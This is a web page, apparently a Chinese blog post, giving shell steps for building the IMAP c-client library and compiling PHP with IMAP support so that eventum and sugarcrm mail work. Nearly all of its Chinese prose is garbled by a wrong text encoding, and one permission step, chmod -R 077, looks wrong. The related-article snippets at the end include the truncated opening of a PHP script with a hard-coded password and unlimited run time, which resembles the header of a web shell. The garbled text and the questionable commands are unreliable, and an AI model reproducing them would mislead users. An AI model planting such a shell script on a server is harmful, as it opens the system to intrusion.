PHPÖнâ¾ö°²×°IMAPÀ©Õ¹
ÔÚÅäÖÃeventumµÄÓʼþ·þÎñµÄʱºò£¬Ê¼ÖÕ²»ÄÜ·¢Óʼþ¡£×¥°üºó·¢ÏÖ¸ù±¾¾ÍûÓÐÁ¬½Óµ½Óʼþ·þÎñÆ÷¡£ÔÙÒ»²é£¬ÔÀ´ÊÇ·þÎñÆ÷ôÓÐ
°²×°IMAP¡£ÏÂÃæÊÇ°²×°Ç°ÕÒµ½µÄ×ÊÁÏ~~~
¡¾×ªÔØ¡¿
°²×°sugarcrm£¬Èç¹ûÄã²»°²×°imap£¬ÄÇôÄã¾ÍÎÞ·¨Ê¹ÓõÄËûµÄÓʼþ¹¦ÄÜ£¬ËûµÄÓʼþ¹¦ÄÜÊÇͨ¹ýimapÈ¥¶ÁÔ¶³ÌµÄÓʼþ¡£
ΪÁËÕâ¸öÄ£¿é£¬ÎÒ¿ÉÊÇÑо¿ÁËÒ»¸öÏÂÎ磬ÖÕÓڸ㶨£¬ÒÔºó»¹ÊÇÒª×Ðϸ¿´Îĵµ£¬±¾À´ÎÒÒѾ¿´µ½Õâ¸öÎĵµ£¬²»¹ý²»ºÃºÃ¿´£¬ÏÂÃæÊDz½Öè¡£
ÄãÐèҪͨ¹ýyumÀ´°²×°Á½¸ö°ü
yum -y install openssl-devel.i386
yum install pam-devel
Õâ¸öʱºòÄã¾Í¿ÉÒÔ°²×°imapÁË£¬²»È»Äã»áÓöµ½ÎÞÊýµÄ´íÎ󣬶øÇÒÄãËÑË÷Ò²ÕÒ²»µ½´ð°¸µÄ¡£
wget ftp://ftp.cac.washington.edu/mail/imap.tar.Z
tar zxf imap.tar.Z
cd imap-2007a
make lr5 PASSWDTYPE=std SSLTYPE=unix.nopwd IP6=4
echo "set disable-plaintext nil" > /etc/c-client.cf
mkdir /usr/local/imap-2007a
mkdir /usr/local/imap-2007a/include/
mkdir /usr/local/imap-2007a/lib/
chmod -R 077 /usr/local/imap-2007a
rm -rf /usr/local/imap-2007a/include/*
rm -rf /usr/local/imap-2007a/lib/*
rm -rf /usr/sbin/imapd
cp imapd/imapd /usr/sbin/
cp c-client/*.h /usr/local/imap-2007a/include/
cp c-client/*.c /usr/local/imap-2007a/lib/
cp c-client/c-client.a /usr/local/imap-2007a/lib/libc-client.a
Õâ¸öʱºò£¬ÄãÔÙ±àÒëphp£¬¾ÍûÓÐÎÊÌâÁË
./configure --prefix=/usr/local/php5 --with-mysql=/usr/local/mysql5
--with-apxs2=/usr/local/apache2/bin/apxs
--with-jpeg-dir=/usr/local/jpeg
--with-freetype-dir=/usr/local/include/freetype2 --with-zlib
--with-png-dir=usr/local/libpng12 --with-libxml-dir=/usr/local/libxml2
--with-gd --enable-ftp --enable-sockets -enable-mbstring=all-
--with-mcrypt --with-curl=/usr/local/curl \
--with-imap-ssl \
--with-imap=/usr/local/imap-2007a
Èç¹û³öÏÖ´íÎó
make: *** [libphp5.la] Error 1
Äã°ÑphpµÄ°üɾ³ýµô£¬ÔÙ½âѹ£¬±àÒë¾Í¿ÉÒÔÁË£¬ÎÒÒ²³öÏÖÕâ¸ö´íÎó£¬ÊÇÒòΪÎÒÔø¾±àÒë¹ýÒ»´Î£¬
http://www.wangshui.com/blog/?p=27
ÏÂÃæÕâƪÎÄÕ·dz£ºÃ°¡
http://www.directadmin.com/forum/showthread.php?p=131417
¿´µ½Õâ¸ö²»ÈÝÒ×°¡¡£²»¹ý×ÜËãÊǽâ¾öÁË£¬ÏÖÔÚ¿ÉÒÔ˵³¹µ×½â¾öÁËsugarcrmµÄ°²×°ÎÊÌâÁË¡£
Ïà¹ØÎĵµ£º
ÈçºÎ´´½¨ÎÒÃǵĵÚÒ»¸öPHPÒ³ÃæÄØ£¿·Ç³£¼òµ¥µÄ£¡Ñ¡ÔñÎÒÃÇʹÓõÄÒ»¸ö×îºÃµÄÉè¼Æ¹¤¾ß£¬µ±È»ÄãÒ²¿ÉÒÔ Ö»Ê¹ÓüÇʱ¾¡£´´½¨Ö®ºó¼ÇµÃÒª±£´æΪÀ©Õ¹ÃûΪPHPµÄÎļþ£¬È»ºó´«µ½ÎÒÃǵķþÎñÆ÷
ÉÏ¡£
¡¡¡¡ÔÚ±àдPHP³ÌÐò֮ǰͨ³£ÎÒÃÇÐèÒªÅäÖÃÎÒÃǵĻ·¾³£¬Ò²¾ÍÊÇ˵·þÎñÆ÷
ÒªÖ§³ÖPHP²ÅÄÜÐа¡
¡¡¡¡Ò»¡¢PHPµÄ»ù±¾½á¹¹£º
¡¡¡¡Ê¹ÓÃIncl ......
Session¼ò½é
session ·Ö³ÉÁ½²¿·Ö£¬session¿Õ¼ä´æ·ÅÓÚ·þÎñÆ÷¶Ë£¬´ò¿ª¿Õ¼äµÄID ´æ·ÅÓÚ ¿Í»§¶ËµÄcookie£¬ Èç¹û¿Í»§¶Ë¹Ø±ÕÁËcookie£¬session¾Í²»ÄÜÕý³£µÄʹÓá£
SessionµÄÖÐÎÄÒëÃû½Ð×ö“»á»°”£¬Æä±¾À´µÄº¬ÒåÊÇÖ¸ÓÐʼÓÐÖÕµÄһϵÁж¯×÷/ÏûÏ¢£¬±ÈÈç´òµç»°Ê±´ÓÄÃÆðµç»°²¦ºÅµ½¹Ò¶Ïµç»°ÕâÖмäµÄһϵÁйý³Ì¿ÉÒÔ³Æ ......
PHP ÖÐÇÉÓÃÊý×é½µµÍ³ÌÐòµÄʱ¼ä¸´ÔÓ¶È
±¾ÎÄÖ÷ÒªÊǽéÉÜÔÚ PHP µÄ±à³ÌÖУ¬ÈçºÎÇÉÓÃÊý×éÀ´½µµÍÒò¶à²ãÑ»·¶øÒýÆðµÄʱ¼ä¸´ÔӶȵÄÎÊÌâ¡£ÌرðÊǵ±³ÌÐòÐèÒª¶à´ÎÓëÊý¾Ý¿â½»»¥Ê±£¬Óô˷½·¨À´ÓÅ»¯ÄãµÄ´úÂ룬½«»á´ø¸øÒâÏë²»µ½µÄЧ¹û¡£
ͨ³£¿ª·¢ÈËÔ±ÔÚд³ÌÐòµÄʱºò£¬ÍùÍùÊÇ°ÑÒѾÉè¼ÆºÃ»òÕß¹¹Ë¼ºÃµÄÔËËãÂß¼£ ......
ʹÓÃphpµÄ³£¼ûÎÊÌâÊÇ£º±àÒëphpʱÍü¼ÇÌí¼ÓijÀ©Õ¹£¬ºóÀ´ÏëÌí¼ÓÀ©Õ¹£¬µ«ÊÇÒòΪ°²×°phpºóÓÖ×°ÁËһЩ¶«Î÷ÈçPEARµÈ£¬²»Ïëɾ³ýĿ¼ÖØ×°£¬±ð˵£¬php»¹ÕæÓÐÕâÑùµÄ¹¦ÄÜ¡£
¡¡¡¡ÎÒûÓÐÔÚÊÖ²áÖп´µ½¡£
¡¡¡¡ÈçÎÒÏëÔö¼ÓbcmathÖ§³Ö£¬ÕâÊÇÒ»¸öÖ§³Ö´óÕûÊý¼ÆËãµÄÀ©Õ¹¡£windows×Ô´ø¶øÇÒÄÚÖã¬linux“±¾ÀຯÊý½öÔÚ PHP ±àÒëʱÅäÖÃÁË --ena ......
<?php
#--Config--#
$login_password= '123456'; //ÕâÊÇÃÜÂë
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......